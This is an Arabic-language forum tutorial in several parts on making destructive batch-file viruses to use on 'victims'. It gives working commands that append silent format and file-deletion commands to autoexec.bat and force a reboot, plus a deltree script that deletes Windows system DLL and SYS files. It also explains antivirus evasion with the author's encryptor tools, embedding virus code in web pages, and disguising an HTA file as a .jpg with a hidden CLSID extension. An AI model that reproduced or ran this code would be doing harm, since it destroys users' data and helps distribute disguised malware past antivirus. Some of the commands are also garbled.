ألجزاء الاول ======= اولاً البرامج المرفقة يمكنك الحصول عليها من على رابط ---------------------------------------------------- http://www.geocities.com/msnteam2003/solimnvir1.zip ------------------------------------------------- ان من اشد ما يجذب انتباهى هو ثغرات الاكسبلور والتلغيم وصناعة الفيروسات وتغير الامتداد باستخدام طريقة CLASID وطرق خدعها او طريقة عمل الاسكرب او طريقتى اليوم نتكلم عن ماذا لنختار مثلاً صناعة الفيروسات اذن هى صناعة الفيروسات اولاً نذكر طريقة صناعة فيروسات بسيطة من نوع بات وان كان عملها ممتاز جدا جدا بسم اللة الواجد الماجد موجد كل شىء من لا شىء اولاً كل الفيروسات الناتجة من هذا تكشف بواسطة مضاد الفيروسات وقد كان اكتشفت من برنامج نورتون بروفيشينال 2003 وبناء على ذلك توقفت واصيبت بالصدمة الى ان تمت اعادة بناء المصنع وتقدم الفكرة بعد الى ان توصلت الى برمجة ادوات مساعدة منها المشفر سولى سيك والمشفر سولى ساف وسولى مان وسولى بوى وكلهم قد جعلا كل فيروسات غير مكشوفة بمضادات الفيروسات ولا احدث نسخة ولكن المشكلة هى فى الامتداد فقط ننتج الامتدادات التالية *.com *.bat *.exe *.pif وعن قريب يتم نتاج *.jpg حيث تم انتاج واحد وهو تحت الاختبار (ان اطال اللة لنا عمر نذكر كيفية التغير واللعب فى الامتداد بفكرة بسيطة وسوف انقلها لكم عن بحث اسمة invisible windows extenions ثم اذكر خدع ابتكرتها بعد تفكير عميق) الان شرح كيفية عمل فيرس من نوع بات اولاً تفتح تكست وتضع فية الاتى بالترتيب (هذا الكود) --------------------------------------------- call attrib -h -r c:\autoexec.bat >nul ---------------------------------------------- هذا الكود اساسى وبدونة لان تعمل اى شىء وهو المسئول عن كشف الفيرس من قبل مضادات الفيروسات ولكنة مهم للغاية ولا يتم عمل الفيرس بدونة ومشكلة كشفة للفيرس انتهت بعملية التشفير وهو المسئول عن نقل الامر (الذى سوفة نكتبة بعد ذلك) الى ملف اسمة autoexec.bat ألموجود فى السى اذا كان الوندوز متصتب عندك على السى وهذا الملف مسئول عن بداية الوندوز بمعنى لو احتوى اى امر فعندما يقوم الوندوز سوف يستدعى هذا الملف وينفذ ما بها من اوامر غريبة او غير غريبة لذلك تعتمد فكرتنا على ادخال امر بداخلة وهذا الكود ايضاً يظهر الاتواكسك لو كان مخفى ومن ثم ينقل الية الاوامر الان لعمل امر فورمات نعمل اية ؟ ============================== عاوزين نفرمت دريف a اوكية....طب اية هى اوامر الفورمات نحن نعرفها من الدوس هى كما يالى ادخل على الدوس واكتب امر فورمات كما ترى a:/format a then press enter طب لو فورمات سريع بدون استرجاع البيانات يكون الامر ازى يكون كما يالى a:/format a /q /u اوكية دا كلام مية مية ولكن ازاى اكتب الامر دا على الفيرس اليك التالى ------------------------------------------------------ echo format a: /q /u /autotest >nul >>c:\autoexec.bat ------------------------------------------------------ هكذا يكون شكل الامر اى اننا زدنا بكلمة echo & /autotest >nul >>c:\autoexec.bat ألاولى تعنى انسخ الامر القادم الى (طبعاً معروف من الكود الاول انة الى الاوتواكسك) الثانية تعنى اجراء وتنفيذ الامر بدون طلب تحذير بتاع yes and NO لأانك عارف لما تعمل فورمات لابد ان يحذرك الاول ونحن نريد الفيرس يعمل فورمات بدون ما يحذر الضحية اذن هذا الكود هو المسئول عن هذا ويعنى ايضاً ان النسخ يكون الى ملف الاوتواكسيك فى السى ماذا لو عاوز افرمت الدريفات التالية نكتب اسفل هذا الكود كود فورمات كل دريف على حدا كما يالى ----------------------------------------------------- echo format c: /q /u /autotest >nul >>c:\autoexec.bat echo format d: /q /u /autotest >nul >>c:\autoexec.bat echo format e: /q /u /autotest >nul >>c:\autoexec.bat echo format f: /q /u /autotest >nul >>c:\autoexec.bat ----------------------------------------------------- اسمع احدكم الان يقول اذن ايها الاحمق سليمان كيف يكون كود فيرس يقوم بعمل فورمات لكل الدريفات عند الضحية !! اوكية اليك هذا الكود ----------------------------------------------- call attrib -h -r c:\autoexec.bat >nul echo format c: /q /u /autotest >nul >>c:\autoexec.bat echo format d: /q /u /autotest >nul >>c:\autoexec.bat echo format e: /q /u /autotest >nul >>c:\autoexec.bat echo format f: /q /u /autotest >nul >>c:\autoexec.bat echo I hate USA echo i love shimaa ----------------------------------------------- نحلل الكود مرة اخرى call attrib -h -r c:\autoexec.bat >nul يعنى انة سوف يتم اظهار ملف الاتواكسك وهايتم نقل الاوامر الية echo format c: /q /u /autotest >nul >>c:\autoexec.bat يعنى echo ينسخ الى format c: /q /u الكود الدوسى وهو لفورمات الدريف سى - يتجنب رسالة التحذير >nul >>c:\autoexec.bat أى ان الامر ينسخ الى الاوتواكسك ملحوظة: ممكن تكرر اى سطر مع تغير اسم الدريف echo I hate USA يعنى لو عاوز تعمل كدة كلمة تنهى بها عمل الفيرس وتظهر للضحية فى الاخر echo i love shimaa نفس الفكرة اكتب اللى يعجبك (بالنسبة للاخوة اللى قالو انى عندى صرع عشان كتبت اسم شيماء على برنامجى اقول لهم بالعند فى امثالكم هاكتبها فى اى وقت يعجبنى واكرر شيماء هى ارق انسانة وهى التى اثبتت لى ان الملاك قد يكون انسان هل من معترض واللة انا حر اكتب اللى يعجبك وهو الحكاية ان لو واحد اجنبى وضع صورة اللى بيحبها على برنامجى ما كان واحد فتح فمة ولكن مع عربة كل واحد يفتح فمة من كدة ولا اية) ======================================= الفصل الثانى من الجزاء الاول ===================== ()()()()()()()()()()()()()()()()()()() )( تدريــــــــــــــــــــــــــب ()()()()()()()()()()()()()()()()()()() لو عاوز اكتب كود فيرسى يعمل الاتى يدخل على دريف الدى عندى الضحية ويقوم بالغاء ملف تكست اسمة مثلاً اكس (ملحوظة مهمة جدا) --------------------- يمكنك وضع اى كود دوسى غير الفورمات على هذة القاعدة --------------------------------------------------- call attrib -h -r c:\autoexec.bat >nul echo كود دوسى >nul >>c:\autoexec.bat --------------------------------------------------- والسطر الاخير يكرر ان كنت تريد اما اذا كانت العملية تتطلب الغاء رسالة تحذيرية فتكون القاعدة ------------------------------------------------- call attrib -h -r c:\autoexec.bat >nul echo كود دوسى /autotest >nul >>c:\autoexec.bat ------------------------------------------------ مع تكرار السطر الاخير ان تتطلب ويمكنك وضع قاعدة مشتركة ------------------------------------------------ call attrib -h -r c:\autoexec.bat >nul echo كود دوسى /autotest >nul >>c:\autoexec.bat echo كود دوسى >nul >>c:\autoexec.bat ----------------------------------------------- يعنى نفكر كدة انا كان الكود هاعترض رسالة فى احد السطور فلابد من اضافة /autotest لتفادى الرسالة التحذيرية الان نعود الى التدريب وكان لو عاوز اكتب كود فيرسى يعمل الاتى يدخل على دريف الدى عندى الضحية ويقوم بالغاء ملف تكست اسمة مثلاً اكس ؟؟؟؟؟؟؟؟ هل هذة الفكرة تعترضها رسالة تحذيرية بالطبع لا اذن اتبع القاعدة الاولى يكون الكود كما يالى+++++ ------------------------------------------ call attrib -h -r c:\autoexec.bat >nul echo d: >nul >>c:\autoexec.bat echo Del x.txt >nul >>c:\autoexec.bat ------------------------------------------ التحليل ------- call attrib -h -r c:\autoexec.bat >nul ذكرنا انفاً الان لدخول الدريف دى والغاء ملف اسمة اكس(تكست مثلاً) فى الدوس كنت باتكتب c:/ press enter فيتحول المحث الى d:/ للاغاء هاتكتب d:/Del x.txt press enter اذن معنا الكود الدوسى وقد قمنا بالعملية على كام خطوة على خطوتين اذن معنا الكود وعد الخطوات ومعنا الكود الاساسى للفيرس نستنتج التالى عدد سطر الكود لابد ان يكون اثنين + واحد (اساسى) + اى عدد لو عاوز تكمل الفيرس لشىء تانى فيكون call attrib -h -r c:\autoexec.bat >nul (اساسى) echo d: >nul >>c:\autoexec.bat (الدخول على الدريف دى) echo Del x.txt >nul >>c:\autoexec.bat (الغاء ملف امسة اكس تكست)
تذكر ::::: echo كود الدوس >nul >>c:\autoexec.bat ()()()()()()()()()()()()()()()()()()() )( تدريــــــــــــــــــــــــــب ()()()()()()()()()()()()()()()()()()() لو عاوز تلغى كل ملفات التكست فى الدريف دى يكون الكود call attrib -h -r c:\autoexec.bat >nul echo d: >nul >>c:\autoexec.bat echo Del *.txt >nul >>c:\autoexec.bat ()()()()()()()()()()()()()()()()()()() )( تدريــــــــــــــــــــــــــب ()()()()()()()()()()()()()()()()()()() لو عاوز تلغى كل ملفات الزيب فى الدريف دى يكون الكود call attrib -h -r c:\autoexec.bat >nul echo d: >nul >>c:\autoexec.bat echo Del *.zip >nul >>c:\autoexec.bat ألان تصاب باحباط بعد تصميم فيرس مثلاً لعمل الفورمات وكتبت الكود فى التكست يمكنك الان حفظة بامتداد *.bat ولنفرض ان الضحية ضغط علية لن يعمل لن يعمل (اسمعك تقول اللة يخرب بيتك يا سليمان بعد كل هذا وتقولى لن يعمل) هاهاهاها اخوىت الاعزاء صبراً فلسوف يعمل لو قام الضحية بعمل ريستارت او طفىء الكمبيوتر ثم اعادة فتحة مجدداً ---------------- ماذا سوف يحدث ---------------- عندما ضغط على الفيرس انتقلت اوامر الدوس الى ملف الاوتواكسك فلابد من اعادة التشغيل حتى يطلب الوندوز هذا الملف فيجدة وهو على الدوس فاينفذ الاور معتقداً انة يحمل اوامر البدء ----------------------------------------------------------------- هل يمكن اضافة كود للفيرس بحيث يجعل الكمبيوتر يعمل ريستارت عند الضغط على الفيرس وبالتالى هايعمل ------------------------------------------------------------------- بالطبع هناك اضف هذا الكود c:\windows undll.exe user.exe,exitwindowsexec اذن صمم كود الفيرس اضف فى السطر الاخير هذا الكود واحفظة الناتج على هيئة امتداد *.bat ألان عندما يضغط الضحية علية سوف يحدث وينتقل الاوامر الدوسية ومعها سطر الريستارت وهايحدث ريستارت ويتم تنفيظ الاوامر الدوسية فى سرعة كبير ة جدا اى اننا اجبرنا الضحية على عمل ريستارت لكى يشتغل الفيرس -------------------------------------------- هل هناك اكواد اخرى مثل عمل اغلاق للوندوز --------------------------------------------- c:\windows undll32.exe user.exe,exitwindows هذا كود الغلاق -------------------------------------------------------- الفورمات حرام يعم هل ممكن كود يقرب لعمل الغاء للوندوز -------------------------------------------------------- @Echo off c: cd %WinDir%\System\ deltree /y *.dll cd\ deltree /y *.sys --------------- تحليلة --------------- c: دخلنا على السى cd %WinDir%\System\ دخلنا على ملف السيستم فى الوندوز deltree /y *.dll الغاء كل ملفات الامتداد دى ال ال والتى يريدها الوندوز cd\ خرجنا بعد تنفيذ العملية الاولى deltree /y *.sys ر الغاء كل ملفات السيس فى مسا الوندوز 000000000000000000000000000000 الان معنا فكرة الفيرس وكيفية اجبار الضحية على عمل ريستارت او عمل اغلاق ولكن لازل الفيرس مكشوف وامتدادة *.bat ماذا نحن فاعلون الان لابد من تغير الامتداد اولاً ثانياً تشفيرة ثالثاً تغير امتداد او فكرة لكى يعمل عند الضحية بدون ما يحس سوء بالارسال عبر البريد (ليس على هيئة ملف مرفق بل اكواد مرفقة بتلغيمة) اول دخولة على صفحة تم تلغيمها اول تغير الامتداد بشكل تانى
كتب بواسطة سليمان محمود سليمان كلية العلوم جامعة القاهرة قسم فيزياء نووية وكيمياء خاصة هاتف : 202-02-5696114 جيزة جمهورية مصر العربية
انتهى الجزاء الاول الحمد الله الواجد الماجد
============== الجزاء الثانى الفصل الاول ------------------------------------ ها قد كتب لى الواجد الماجد عمراً اخر لكى اكتب حماقتى وجهلى فا الانسان اما يقضى معظم عمرة احمق او جاهل باشياء متعددة هكذا قالها احد الكتاب الروس يدعى ميخائيل سوفيكى اليكم الجزء الثانى وليس بالاخير اسمعكم تقلون يعم خلص هى قصة ولا رواية هاتعملها على اجزاء الموضوع شائك جد شائك ومحتاج الى كثير من التدقيق فمن قراء المقالة الاولى عرف الاسس بدلاَ من ان يجد فى احد المنتدى الاخ فلان او علان وضع كود وكتبة علية احفظة على هيئة بات ولا ذكر كيف تمت الصناعة ولا اى شىء فتحمل انت الكود بدون وعى فلابد ان تكون لنا هنا وقفة اتفقنا المرة القادمة ان تكتب اليوم عن تغير الامتداد ثم التشفير ثم كيفية خداع الضحية ولكن قبل البدء فى تلك الخطوات الثلاثة احب ان ابداء بعدة اشياء وهى -------------------------------------- هل الفيروسات لها علاقة بالاكسبلور --------------------------------------- طبعاً لها علاقة واسعة جدا بجميع اونواعها اسمع الان احدكم يقول يا عم انت هاتستعبط دا ممكن يكون الدودة فقط ولكن بجد ممكن من نوع البات --------------------------------------------------------------------------------- اعنى هل هناك كود باى لغة تفبلة صفحة انترنت يمكنة القيام بعمل الفيرس البات ---------------------------------------------------------------------------------- بالطبع هناك واليك هذا الكود
؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
========================== مع تغير كود الدوس اقصد الامر الدوسى تجدة فى هذة الجزء من الكود ('command /a format a: /q /autotest /u',false,6) اوعى تقولى انك مش شايفة فين بعد التغير يمكنك حفظ هذا الكود فى صفحة انترنت اول ما يفتحها الضحية هوب يتفرمت او يتم تنفيذ الامر الدوسى اللى كتبتة الان نلاحظ ان الامر الدوس يعمل ايضاً على الاكسبلور
اليك كود اخر ------------
دا كود اتس تى ام ال عندما تضعة بصفحة ويضعط عليها الضحية سوف تعمل الالة الحاسبة طبقاً للمسار c:/winnt/system32/calc.exe
ألان تلاحظ انة يمكنك تحويل الفيرس من نوع البات الى امر مكتوب داخل لغة الاتش تى ام ال (ان شاء اللة اشرح الفكرة كلها فى الجزء الثالثة وانما حبيت ان اضع الفكرة)
الفصل الثانى الجزاء الثانى الان ننتقل الى ----------- ليس اذاعة خارجية بالطبع لاننا لا نذيع مباريات هنا بل نذيع هاكينج ننتقل الى جزء جميل خالص خالص ومرتبط بالاعلى اولاً افهم معى هذة النقطة وانت كنت اعلم انها سوف تكون غامضة الى ان اكتب الجزء الثالث قلنا بالعلى انة يمكن وضع الكود فى صفحة انترنت وقلنا نشرح قادماً فهل هناك كود اساسى نضع بة كود الفيرس من اى نوع ليست مفهمومة اوكية مرة اخرى انت صممت فيرس من نوع بات على الاسس التى ذكرنها يمكنك تحويلة الى اى من الامتدادت التالية *.com *.exe اوكية ماذا لو كان عندك فيرس من الاول امتدادة واحد من هذان الامتدادات *.com *.exe يف تحصل على الكود الذى يوجد بة ســـــــــــــــــــــــــــــؤال مهم جدا ---------------------------- لنفرض ان هناك عندك فيرس اسمة x.exe فهل يمكنك الحصول على الكود فى شكل معين يمكن بالطبع
ألخطوة الاولى -------------- مرفق برنامج يقوم بتحويل *.exe into *.com ----------------- شرح البرنامج 1- اعمل ملف اى ملف وليكن اسمة سعيد والقى داخل هذا الملف البرنامج والفيرس ذو الامتداد *.exe
2- افتح الملف الذى اسمة سعيد واضغط على start اختر run اكتب command اضغط اوكية فتظهر شاشة الدوس اكتب اسمة البرنامج ثم مسافة ثم امسة الفيرس ثم مسافة ثم اسمة الملف اللى تحب ينتج
مثال ----- البرنامج اسمة solicon.exe الفيرس اسمة x.exe نضع الاثنيت فى ملف واحد وندخل على الدوس من عندة للتحويل نطتب التالى solicon.exe x.exe y.com مع ملاحظة ترك المسافة بين كل اسم ملف هاتقول اية الملف واى دا الملف واى دا هايكون الناتج ان شاء اللة بعد كتابة هذا الكود اضغط انتر واغلاق البرنامج فسوف تجد داخل الملف ألبرنامج (اكيد طبعا) الفيرس بالامتداد الاصلى ملف اسمة y.com وهو الناتج اللى تحدثنا عنة والان قد حولنا الفيرس من امتداد *.exe ألى *.com
تأتى الخطوة الثانية =========== تحويل الفيرس من *.com الى اى امتداد يمكننا من الحصول على كودة هنا نستخدم البرنامج الثانى المرفق مرة اخرى ولكن هذة المرة ناخذ الملف المنتج من البرنامج الاول ونعمل ملف جديد ليكن احمد ونضع بة البرنامج الثانى + الملف الذى نتج من التحويلة السابقة وهى y.com ألان انت داخل الملف احمد وبة البرنامج والملف الناتج من التحويلة الاولى اضغط على start اختر run اكتب command اضغط اوكية هاتفتح امامك شاشة دوس (اللهم ما ارحمنا ويسير طريقنا) اول ما تنفتح شاشة الدوس امامة نكتب اسم البرنامج + اسم الملف واى + اسم الملف الذى سوف ينتج ان شاء اللة مثال ----- عندنا البرنامج shimcon.exe y.com وهو الناتج من عملية التحويل الاولى بعد ما تفتح الدوس وانت واقف داخل الملف احمد الذى يحتوى على هذان الملفان والتى قلنها من تو اكتب التالى shimcon.exe y.com x.com اى اسم البرنامج shimcon.exe الملف المراد تحويلة y.com الملف الذى سوف ينتج x.com ممكن اى اسم غير اكس ولكن انا بقول للسهولة بعد الكتابة الامر اضغط انتر اغلاق البرنامج هاتجد الملفان تحولا الى ثلاثة وهم shimcon.exe y.com x.com المهم هنا هو x.com نعمل لة تغير اسمة ونجعلة على امتداد تكست ليكن x.txt الان يمكنك فتحة وسوف تجد بة التالى اكواد مكونة من حروف وارقام (انتهينا من فك التشفير وكسر البرنامج) وهو مكتوب بشكل SCII ونحن نريدة بهذا الشكل
تذكر عزيزى المشاهد (هاهاها اسف اصل افتكرت انى بذيع مباراة) تذكر اخى الكريم ان الهدف من التحويل هو الحصول على كود الفيرس بشكل يجعلنا نضعة فى صفة انترنت
(طريقة تحويلة الى اكواد مفهومة اذكر ان شاء اللة فى الجزء الرابع مع برنامج مرفق) الان عندنا كود الفيرس اى نوع من انواع الفيروسات هنا يتسال احدكم ويقول ماذا ايها الاحمق الذى تدعى سليمان ان كان عندى فيرس من امتداد *.com هنا اقول لك اخى الكريم اتبع خطوة التحويل الثانية فقط ولا تتبع الاولى عملاً بالمثال التالى x.exe----------->x.com-------->x.txt ألان معنا كود الفيرس (المقالة الرابعة نفك تشفيرةونحولة الى اكواد مفهومة)
الان نحن فى مشكلة لانة يمكننى ان نستخدم هذة الاكواد فى عمل صفحة مصابة بها او استخدامها فى عمل ملف ذو امتداد مقبول هاااالى سليمان ماذا ان كان عند من الاول او انا صنعت فيرس من النوع بات كيف هايتم التحويل هااااى ماذا عن التشفير ايها الاحمق وعن تغير الامتداد
اوة انا وقعت فى خطاء كان لابد ان اقوم بترتيب الخطوات ولكن هاذهب اشرب مياة وارجع ان شاء اللة احل المشاكل هذة كلها (لا واللة يا حبيبى ليست مياة معدنية احسن احدكم يفهم غلط هو انا عبيط المياة المعدنية يجى كدة بمليون جنية وللة لو مياة الصنبور بها فطر الاسبرجس هاتتشرب يعنى هاتتشرب قال مياة معدنية قال هااها هندى انا ولا صينى ما الصنبور مجانى علطول اهوة) كللللوب كلللللوب كلللللوب اسف ما قلت اتفضلوا ولا حاجة اصلها مش عصير مانجة هية ولا جوافة بالمناسبة هى الجوافة عندكم لونها اية اصل انا اشرتها مرة وكانت لونها ازرق مش عارف الراجل ضحك على واعطانى بطيخ ولا جوافة اصل انا سمعت ان لونها احمر طبعاص سمعت الخبر دا فى الاخبار السياسية
الجزاء الثانى الفصل الثالث نعود الى المشاكل ---------------- المشكلة الاولى ========= عندى فيرس او انا صممتة من نوع البات كيف احصل على كود مثل التى سوف تستخدمها وكما تقول وتدعى اية الاحمق فى عمليتين
الاجابة ------ تحول البات الى ما نريد طبقاً للمسار التالى *.bat------->*.exe-------->*.com-------->*.txt ولكن للسهولة يمكنك استخدام برنامج solisek للتحويل من *.bat-------->*.com و من ثم حول الى تكست وتحصل على الكود شرح البرنامج ======== ضع ملف البات وليكن اسمة اكس مع البرنامج فى ملف واحد ادخل على الدوس بنفس الطريقة السابقة اكتب هذا الامر solisek.com x.bat اضغط انتر اغلاق البرنامج والان تجد ان هناك ملف اسمة x.com قد تكون والباقى عليك لتحويلة الى تكست والحصول على الكود المشفر
----------------------------------------------------- ما الهدف من تحويلة الى كود مشفر مكتوب وهل هناك طريقة اسهل من ذلك للتحويل ---------------------------------------------------- الهدف نذكرة فى اخر المقالة او نقولة فى المقالة القادمة ان لم يسعفنا الوقت
ملحوظة محبطة: نظراً لفشلى فى الشرح كنت قد قررنا تحويل الفيروسات الى اكواد مشفر بعد التخلص من امتدادها وتحويلها الى تكست ومن ثم نفك التشفير للحصول على الكود الحقيقى ثم التحويل الى ASCII والذى سوف نحتفظ بة ونصنع منة الكثير والكثير
لذلك قمت ببرمجة برنامج بسيط وسهل جدا جدا بالفجوال بيسيك يقوم بعمل التحويلة بدلاً من البرامج التى قمت بشرحها والتى كتبتها بلغة *.asm الاسمبلى الان شرح البرنامج ----------------- وهو SOLI-ASCII.exe ما ان تفتح البرنامج يظهر لك خانتين الخانة الاولى تكتب بها مسار الفيرس باى امتداد لخانة الاخرى تكتب بها مسار الناتج
مثال ------ انا عندى فيرس اسمة x.com اضعة على الدريف d:/ افتح البرنامج اكتب فى الخانة العليا d:/x.com (مسارالفيرس) اكتب فى الخانة السفلى d:/virues.txt (مسار التكست الناتج) الان اضغط على Done فتظر لك رسالة Finished الان اغلق البرنامج واذهب الى الدريف دى الموجود بة الفيرس وابحث عن الملف الذى كتبة اسنة لكى يخرج وهو virues.txt افتحة فتجد الكود بعد تشفيرة وتحويلة الى ASCII التى نريدها وبالتالى بهذا البرنامج ارحت رؤوساكم بملاين الكلمات والشروح والكثير والحمد اللة الان اصبح لنا خلفية فى ايجاد كود الفيرس بشكل ASCII
ماذا نحن فاعلون
لابد لنا من اصابة الهدف ولكن بعدة حيل
التشفير ايها المغفل اين هو ------------------------- يا شباب الكثير يختلط علية الاحمر بين تشفير وضغط لذلك وعد منى فى احد المقالت ان اكتب عن التشفير ويا سيدى افهم الفيروسات الاول وبعدين افهم التشفير وشفر الفيرس ثم حولة الى ASCII وبعدين طبق بة الحيل
اولاً ---- معنا فيرس تم تحويلة الى اكواد ASCII ماذا نفعل
0لابد ان تكون مختار من الاعلى view foldder options view وشايل العلمة من على hide extenions وذلك لكى يظهر الامتداد
1- الحيلة الاولى ---------------- الفكرة : نضع الكود فى تكست ونحول امتدادة الى بعد ما نغير بة ما يلازم *.HTA وليكن x.hta ثم نقوم بعملية اعادة الاسم الى x.jpg الان تغير امتدادة وبالتالى لم يكن فعال اوكية عادى نعمل اعادة تسمية اخرى الى x.jpg.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} وهذا الـــ {3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} يسمى بالـــ CLASID وهو الخاص لنوع *.HTA فتجد الان الاسم تحول الى x.jpg فقط واختفى الكود المضافة وذلك لنة من نوع invisible windows extentions وتغيرت الايقونة
الان عند ملف اسمة x.jpg والامتداد هو jpg يمكنك تغير الايقونة (مرفق ايقونة مع المرفقات) باستخدام برنامج مثل الميكروايقون او هانك طريقة اخرى لا يسعنى الوقت لذكرها بعد تغير الايقونة اضغط على البرنامج تجد ان انفتح ملف من نوع *.hta
مشاكل -------- بعد الاصابة ونحن نعلم ان نوع هذا الملف يحتاج الى عمل ريستارت لكى يعمل فماذا نفعل
ما هو التغير الذى يلازم تكوين هذا الملف
ما هى الحيل الاخرى
ماذا لو شك الضحية خصوصاً انة لم تظهر صورة لة
هل هناك حيل اخرى (اكيد فالماذا اطلق على هذة حيلة اولى)
هل يمكنك شرح الطريقة بالتفصيل اكثر (بالتاكيد لانى قلت هذة الفكرة اذن لابد من تفعيل هذة الفكرة)
هل يمكن ان تشرح فكرة الاسكرب (اعتقج انها فكرة سخيفة ولكنى سوف اشرحها خصوصاً ان هناك احد الاعضاء مبرمج محترف كتب فى احد المنتديات الاجنبية التى يتسكع بها دائماً انة يستحل تغير ايقونة الاسكرب ولكنى سوف اغيرها )
كل هذا واكثر فى المقالة القادمة واكرر اسفى ان كنت قصرت فى الشرح وقريباً ان شاء اللة مقالة مفصلة وكبيرة نوعاً ما
عد المقالات فى صناعة الفيورسات من نوع بات والدودة اربعة او خمسة مقالات بعد ان كتب لنا عمر ننتقل الى تعلم صناعة الفيروسات باستخدام الفجوال بيسيك وان كانت فكرتة سخيفة الى حداً ما
كتبت بواسطة سليمان محمود سليمان كلية العلوم قسم الفيزياء النووية والكيمياء الخاصة جمهورية مصر العربية جيزة romanticboyxp@hotmail.com هاتف : 202-02-5696114
بسم اللة الرحمن الرحيم ================ شكراً للاخ ابو هاشم جزيلاً واتمنى ان تعجبك مواضيعى ولكننى اود ان اذكر ان هناك كودين لم يظهرا فى المنتدى وهم فى المقالة الثانية لا اعرف كيف ان اضعهم
الان لندخل فى الموضوع واكرر اسفى ان كانت المقالة الثانية شرحتها وانا متضايق فظهرت بشكل غريب وغير مفهموم الان لنعد الخطوات التى خطانها فى المقالة الاولى والثانية
الاولى ==== عرفنا منها الكود الاساسى وكيفية تصميم كود باتحد الكود الاساسى مع كود دوس نصممة من اساسيات الدوس (هارفق كتاب لكل اوامر الدوس مع المرفقات اليوم لمن لا يجد او يحفظ اوامر الدوس)
الثانية ==== اخذنا فيها الكثير جدا لمقالة واحدة اخذنا بها التالى :- 1- كيفية وضع كود فورمات او اى كود دوس فى صفحة انترنت (ندخل فى تفاصيلها اليوم) 2- كيفية الحصةل على كود اى افيرس وذلك بتحويل الامتدادات باستخدام برامجى ارفقتها مع المرفقات exe ---> com ---> txt bat ---> txt 3- شرحت برنامج من تصميم العبد للة والحمد اللة الواجد الماجد يقوم بتحويل اى فيرس ذو اى امتداد الى اكواد تضع فى تكتست من نوع ASCII 4 - شرحت فكرة حيلة CLASID ( نسترسل بها اليوم ان شاء اللة)
بسم اللة الرحمن الرحيم اولاً واخيراً ==================== نشرح التشفير + ادخل الفيرس البات الى صفحة انترنت + خدع الامتدادات اولاً === التشفير -------- قبل ما نبداء نسمى مع بعض كدة باسم الواجد الماجد موجد كل شىء ونقول يا هادى يارب بما اننا نتكلم عن الفيروسات وليس التروجن او اى شىء اخر ان لابد ان اتحدث واصيبكم بالصداع عن تشفير الفيروسات واليوم نحن بصدد فيروسات البات اى الان معك الكود (شرحنا اما تصمم انت الكود او تحصل علية من فيرس كان عندك من قبل باستخدام براكجى للتحويل حتى تصل الى الامتداد التكست وتحصل على الكود) اكرر الان اما ان تصمم الكود او تحصل علية بعد الحصول علية افتح برنامجى المرفق واسمة soliboy.exe فتظهر لك شاشة تجد بها عدة ازرار على اليمين وعلى اليسار ثلاث خانات كبيرة تعمل كوبى للكود الفيرسى وتضع الكود فى الخانة الثانية (الخانة التى فى المنتصف) الان اضغط على زر understand فتظر اشياء فى الخانة الاولى العليا (اتركها ولا يهمك) الان اضغط على زر Soli-bat فيظهر كود بالاسفل فى الخانة السفلى وهو المراد انسخة وضعة فى ملف تكست ثم احفظ الملف على امتداد *.bat ---------------------------------------------------------------------- سؤال الى الاخ الاحمق سليمان هكذا يقول احدكم انت الان لم تحدد اى كود ----------------------------------------------------------------------- اولاً --- اذا كنت مصمم كود فيرس بات يمكنك تشفيرة باتباع الطريقة السابقة
ثانياً ----- ان كنت حصل على كود الفيرس من احد الفيروسات التى كانت موجود من قبل على امتداد *.exe اذن حول الامتداد حسب ما ذكرتة فى المقالة الثالثة وكما يشير المخطط exe--------->com-------->txt bat------->txt احصل على الكود ثم شفرة وضعة فى التكست واعد تسميتة الى امتداد bat
===================================== الان الفيرس تم تشفيرة ولا يكتشف من قبل مضادات الفيروسات يمكنك الوقوف هنا وتكتفى بذلك ===================================== ------------------------------------------------------------------- سؤال لماذا لا نستخدم مباشرة احد برامج التشفير والتى نسمع عنها :- ------------------------------------------------------------------- شرح فكرة التشفير التى انخدع بها الكثير منهم محسوبكم اولاً ايها السادة البرمج التى كثيراً ما نسمع عنها واقصد معظمها حتى لا يزعل احد تعتمد على ما يسمى internal exe compressor او الضغط الداخلى فمثلاً برامج لو احضرت سرفر وقمت بضغطة بالوين زيب وشغل النورنوت وجعلتة اوتو بروتكت بالتاكيد لان يراة الا لو قمت بعمل اسكان علية هذا النوع يسمى external copressor اى الضغط الخارجى ماذا لو فعلنا الضغط الداخلى مثل معظم البرامج تعمل ونقول عليها بتشفير هنا لو كان النورتون اوتو بروتكت لان يلاحظة مثلة مثل الضغط الخارجى ولكن يفرق عنة لو انكن عملت لة اسكان ايضاً لن ينكشف ماذا لو ضغط علية @ هنا نورتون يكشفة بالرغم من انك قد عملت لة اسمان ولم يكشفة لانك عندما تضغط علية يحدث de-internal compressor او بمعنى اخر عشان ما يتفزلك علينا واحد اجنبى يمكن قولها internal de-compressor ونتعنى عند الضغط يحدث فك الضغط الداخلى وهو طبيعى لكى يعمل السرفر وهنا لان نورتون اوتو بروتكت هايكشف اللعبة اكرر انة هذا خطاء جسيم وقع معظمنا بة حتى انا فى البداية وقعت بة ارسل السرفر وهوب اجدة لا يعمل (بالطبع لان الضحية كان مشغل نورتون وعامل اوتوبروتكت) لذلك لجاء الناس السوبر الى تشفير الكود التى تم برمجتة البرنامج بة وعشان كدة تجد ان هناك برامج اختراق لا تحتاج الى تشفير انما تحتاج الى ضغط فقط وايضاً تجد سرفرات قتل مضادات الفيروسات لا تحتاج الى تشفير وذلك لان المصممة قد شفرة كودى يطلق عليها بالانجليزى internal codic Encrypt لذلك فكر محسوبكم العبد الفقير ان يبرمج برنامج بسيط وسهل لتشفير الفيروسات من نوع البات او التى تم تحويلها الى البات (ذكرنا التحويل فى المقالة الثانية ابوس يدك راجعها وحاول ان تفهم من مغفل مثلى لان شرحها قمة نعم قمة فى الردائة والسوء) وهذا البرنامج شرحتة فى الاعلى
(بالنسبة لتشفير الباتش ان شاء اللة اضع برنامج من تصميم العبد الفقير وكويس الى حداً ما ويكون واحد يعنى اهوة شىء عربى اصيل ولكن واللة الى ماخرة انى ما بحب اكتب فى كذا موضوع واحنا النهاردة فى الفيروسات وكمان ما عملت لة كمبيل يعنى حولتة الى ملف تنفيذى ان شاء ان كتب لنا عمر يكون قريبا قريبا جدا)
ثالثاً ----- فى كلتا الحالتين تحول الى بات حولة باستخدام برنامجى الذى ارفقتة فى المقالة السابقة SOLI-ASCII.exe الى اكواد احتفظ بها والان ننتقل الى الجزاء التانى اى اننا صممنا الكود او حصلنا علية + تم تشفير الكود وتحويلة الى بات + تم تحويلة الى اكواد من نواع اية اس سى اى اى
